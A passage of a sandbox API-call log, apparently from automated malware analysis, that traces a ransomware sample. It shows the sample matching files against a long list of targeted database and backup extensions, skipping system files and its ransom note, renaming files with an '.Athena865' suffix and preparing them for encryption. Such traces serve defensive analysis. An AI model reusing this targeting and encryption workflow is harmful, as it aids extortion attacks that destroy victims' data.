[0093.803] lstrlenW (lpString="fp4") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0093.803] lstrlenW (lpString="fp5") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0093.803] lstrlenW (lpString="fp7") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0093.803] lstrlenW (lpString="fpt") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0093.803] lstrlenW (lpString="frm") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0093.803] lstrlenW (lpString="gdb") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.803] lstrlenW (lpString="gdb") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.803] lstrlenW (lpString="grdb") returned 4 [0093.803] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0093.804] lstrlenW (lpString="gwi") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0093.804] lstrlenW (lpString="hdb") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0093.804] lstrlenW (lpString="his") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0093.804] lstrlenW (lpString="ib") returned 2 [0093.804] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0093.804] lstrlenW (lpString="idb") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0093.804] lstrlenW (lpString="ihx") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0093.804] lstrlenW (lpString="itdb") returned 4 [0093.804] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0093.804] lstrlenW (lpString="itw") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0093.804] lstrlenW (lpString="jet") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0093.804] lstrlenW (lpString="jtx") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0093.804] lstrlenW (lpString="kdb") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0093.804] lstrlenW (lpString="kexi") returned 4 [0093.804] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0093.804] lstrlenW (lpString="kexic") returned 5 [0093.804] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0093.804] lstrlenW (lpString="kexis") returned 5 [0093.804] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0093.804] lstrlenW (lpString="lgc") returned 3 [0093.804] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0093.804] lstrlenW (lpString="lwx") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0093.805] lstrlenW (lpString="maf") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0093.805] lstrlenW (lpString="maq") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0093.805] lstrlenW (lpString="mar") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0093.805] lstrlenW (lpString="marshal") returned 7 [0093.805] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0093.805] lstrlenW (lpString="mas") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0093.805] lstrlenW (lpString="mav") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0093.805] lstrlenW (lpString="maw") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0093.805] lstrlenW (lpString="mdbhtml") returned 7 [0093.805] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0093.805] lstrlenW (lpString="mdn") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0093.805] lstrlenW (lpString="mdt") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0093.805] lstrlenW (lpString="mfd") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0093.805] lstrlenW (lpString="mpd") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0093.805] lstrlenW (lpString="mrg") returned 3 [0093.805] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0093.806] lstrlenW (lpString="mud") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0093.806] lstrlenW (lpString="mwb") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0093.806] lstrlenW (lpString="myd") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0093.806] lstrlenW (lpString="ndf") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0093.806] lstrlenW (lpString="nnt") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0093.806] lstrlenW (lpString="nrmlib") returned 6 [0093.806] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0093.806] lstrlenW (lpString="ns2") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0093.806] lstrlenW (lpString="ns3") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0093.806] lstrlenW (lpString="ns4") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0093.806] lstrlenW (lpString="nsf") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0093.806] lstrlenW (lpString="nv") returned 2 [0093.806] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0093.806] lstrlenW (lpString="nv2") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0093.806] lstrlenW (lpString="nwdb") returned 4 [0093.806] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0093.806] lstrlenW (lpString="nyf") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0093.806] lstrlenW (lpString="odb") returned 3 [0093.806] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.806] lstrlenW (lpString="odb") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.807] lstrlenW (lpString="oqy") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0093.807] lstrlenW (lpString="ora") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0093.807] lstrlenW (lpString="orx") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0093.807] lstrlenW (lpString="owc") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0093.807] lstrlenW (lpString="p96") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0093.807] lstrlenW (lpString="p97") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0093.807] lstrlenW (lpString="pan") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0093.807] lstrlenW (lpString="pdb") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0093.807] lstrlenW (lpString="pdm") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0093.807] lstrlenW (lpString="pnz") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0093.807] lstrlenW (lpString="qry") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0093.807] lstrlenW (lpString="qvd") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0093.807] lstrlenW (lpString="rbf") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0093.807] lstrlenW (lpString="rctd") returned 4 [0093.807] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0093.807] lstrlenW (lpString="rod") returned 3 [0093.807] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0093.808] lstrlenW (lpString="rodx") returned 4 [0093.808] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0093.808] lstrlenW (lpString="rpd") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0093.808] lstrlenW (lpString="rsd") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0093.808] lstrlenW (lpString="sas7bdat") returned 8 [0093.808] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0093.808] lstrlenW (lpString="sbf") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0093.808] lstrlenW (lpString="scx") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0093.808] lstrlenW (lpString="sdb") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0093.808] lstrlenW (lpString="sdc") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0093.808] lstrlenW (lpString="sdf") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0093.808] lstrlenW (lpString="sis") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0093.808] lstrlenW (lpString="spq") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0093.808] lstrlenW (lpString="te") returned 2 [0093.808] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0093.808] lstrlenW (lpString="teacher") returned 7 [0093.808] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0093.808] lstrlenW (lpString="tmd") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0093.808] lstrlenW (lpString="tps") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0093.808] lstrlenW (lpString="trc") returned 3 [0093.808] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.808] lstrlenW (lpString="trc") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.809] lstrlenW (lpString="trm") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0093.809] lstrlenW (lpString="udb") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0093.809] lstrlenW (lpString="udl") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0093.809] lstrlenW (lpString="usr") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0093.809] lstrlenW (lpString="v12") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0093.809] lstrlenW (lpString="vis") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0093.809] lstrlenW (lpString="vpd") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0093.809] lstrlenW (lpString="vvv") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0093.809] lstrlenW (lpString="wdb") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0093.809] lstrlenW (lpString="wmdb") returned 4 [0093.809] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0093.809] lstrlenW (lpString="wrk") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0093.809] lstrlenW (lpString="xdb") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0093.809] lstrlenW (lpString="xld") returned 3 [0093.809] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0093.809] lstrlenW (lpString="xmlff") returned 5 [0093.809] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0093.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.Athena865") returned 79 [0093.809] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilercore.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilercore.dll.mui.athena865"), dwFlags=0x1) returned 1 [0093.810] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilercore.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.810] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0093.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.811] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.812] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.812] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.812] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0093.813] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0093.815] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.815] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.815] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.816] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.816] CloseHandle (hObject=0x17c) returned 1 [0093.816] CloseHandle (hObject=0x154) returned 1 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.817] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="windows") returned -1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="bootmgr") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="temp") returned -1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="pagefile.sys") returned -1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="boot") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="ids.txt") returned 1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="ntuser.dat") returned -1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="perflogs") returned -1 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2="MSBuild") returned -1 [0093.817] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0093.817] lstrcpyW (in: lpString1=0x241e8a6, lpString2="jsprofilerui.dll.mui" | out: lpString1="jsprofilerui.dll.mui") returned="jsprofilerui.dll.mui" [0093.817] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0093.817] lstrlenW (lpString="Athena865") returned 9 [0093.817] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0093.817] lstrlenW (lpString=".dll") returned 4 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".dll") returned 1 [0093.817] lstrlenW (lpString=".lnk") returned 4 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".lnk") returned 1 [0093.817] lstrlenW (lpString=".ini") returned 4 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".ini") returned 1 [0093.817] lstrlenW (lpString=".sys") returned 4 [0093.817] lstrcmpiW (lpString1="jsprofilerui.dll.mui", lpString2=".sys") returned 1 [0093.817] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0093.817] lstrlenW (lpString="bak") returned 3 [0093.817] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.817] lstrlenW (lpString="ba_") returned 3 [0093.817] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.818] lstrlenW (lpString="dbb") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.818] lstrlenW (lpString="vmdk") returned 4 [0093.818] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.818] lstrlenW (lpString="rar") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.818] lstrlenW (lpString="zip") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.818] lstrlenW (lpString="tgz") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.818] lstrlenW (lpString="vbox") returned 4 [0093.818] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.818] lstrlenW (lpString="vdi") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.818] lstrlenW (lpString="vhd") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.818] lstrlenW (lpString="vhdx") returned 4 [0093.818] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.818] lstrlenW (lpString="avhd") returned 4 [0093.818] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.818] lstrlenW (lpString="db") returned 2 [0093.818] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.818] lstrlenW (lpString="db2") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.818] lstrlenW (lpString="db3") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.818] lstrlenW (lpString="dbf") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.818] lstrlenW (lpString="mdf") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.818] lstrlenW (lpString="mdb") returned 3 [0093.818] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.818] lstrlenW (lpString="sql") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.819] lstrlenW (lpString="sqlite") returned 6 [0093.819] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0093.819] lstrlenW (lpString="sqlite3") returned 7 [0093.819] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0093.819] lstrlenW (lpString="sqlitedb") returned 8 [0093.819] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0093.819] lstrlenW (lpString="xml") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.819] lstrlenW (lpString="$er") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.819] lstrlenW (lpString="4dd") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.819] lstrlenW (lpString="4dl") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.819] lstrlenW (lpString="^^^") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.819] lstrlenW (lpString="abs") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.819] lstrlenW (lpString="abx") returned 3 [0093.819] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.819] lstrlenW (lpString="accdb") returned 5 [0093.819] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0093.819] lstrlenW (lpString="accdc") returned 5 [0093.819] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0093.819] lstrlenW (lpString="accde") returned 5 [0093.819] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0093.819] lstrlenW (lpString="accdr") returned 5 [0093.819] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0093.819] lstrlenW (lpString="accdt") returned 5 [0093.819] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0093.819] lstrlenW (lpString="accdw") returned 5 [0093.819] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0093.819] lstrlenW (lpString="accft") returned 5 [0093.820] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0093.820] lstrlenW (lpString="adb") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.820] lstrlenW (lpString="adb") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.820] lstrlenW (lpString="ade") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.820] lstrlenW (lpString="adf") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.820] lstrlenW (lpString="adn") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.820] lstrlenW (lpString="adp") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.820] lstrlenW (lpString="alf") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.820] lstrlenW (lpString="ask") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.820] lstrlenW (lpString="btr") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.820] lstrlenW (lpString="cat") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.820] lstrlenW (lpString="cdb") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.820] lstrlenW (lpString="ckp") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.820] lstrlenW (lpString="cma") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.820] lstrlenW (lpString="cpd") returned 3 [0093.820] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.820] lstrlenW (lpString="dacpac") returned 6 [0093.820] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0093.820] lstrlenW (lpString="dad") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.821] lstrlenW (lpString="dadiagrams") returned 10 [0093.821] lstrcmpiW (lpString1="ui.dll.mui", lpString2="dadiagrams") returned 1 [0093.821] lstrlenW (lpString="daschema") returned 8 [0093.821] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0093.821] lstrlenW (lpString="db-journal") returned 10 [0093.821] lstrcmpiW (lpString1="ui.dll.mui", lpString2="db-journal") returned 1 [0093.821] lstrlenW (lpString="db-shm") returned 6 [0093.821] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0093.821] lstrlenW (lpString="db-wal") returned 6 [0093.821] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0093.821] lstrlenW (lpString="dbc") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.821] lstrlenW (lpString="dbs") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.821] lstrlenW (lpString="dbt") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.821] lstrlenW (lpString="dbv") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.821] lstrlenW (lpString="dbx") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.821] lstrlenW (lpString="dcb") returned 3 [0093.821] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.821] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.Athena865") returned 77 [0093.821] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilerui.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilerui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0093.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilerui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.822] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7168) returned 1 [0093.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.823] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.824] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: 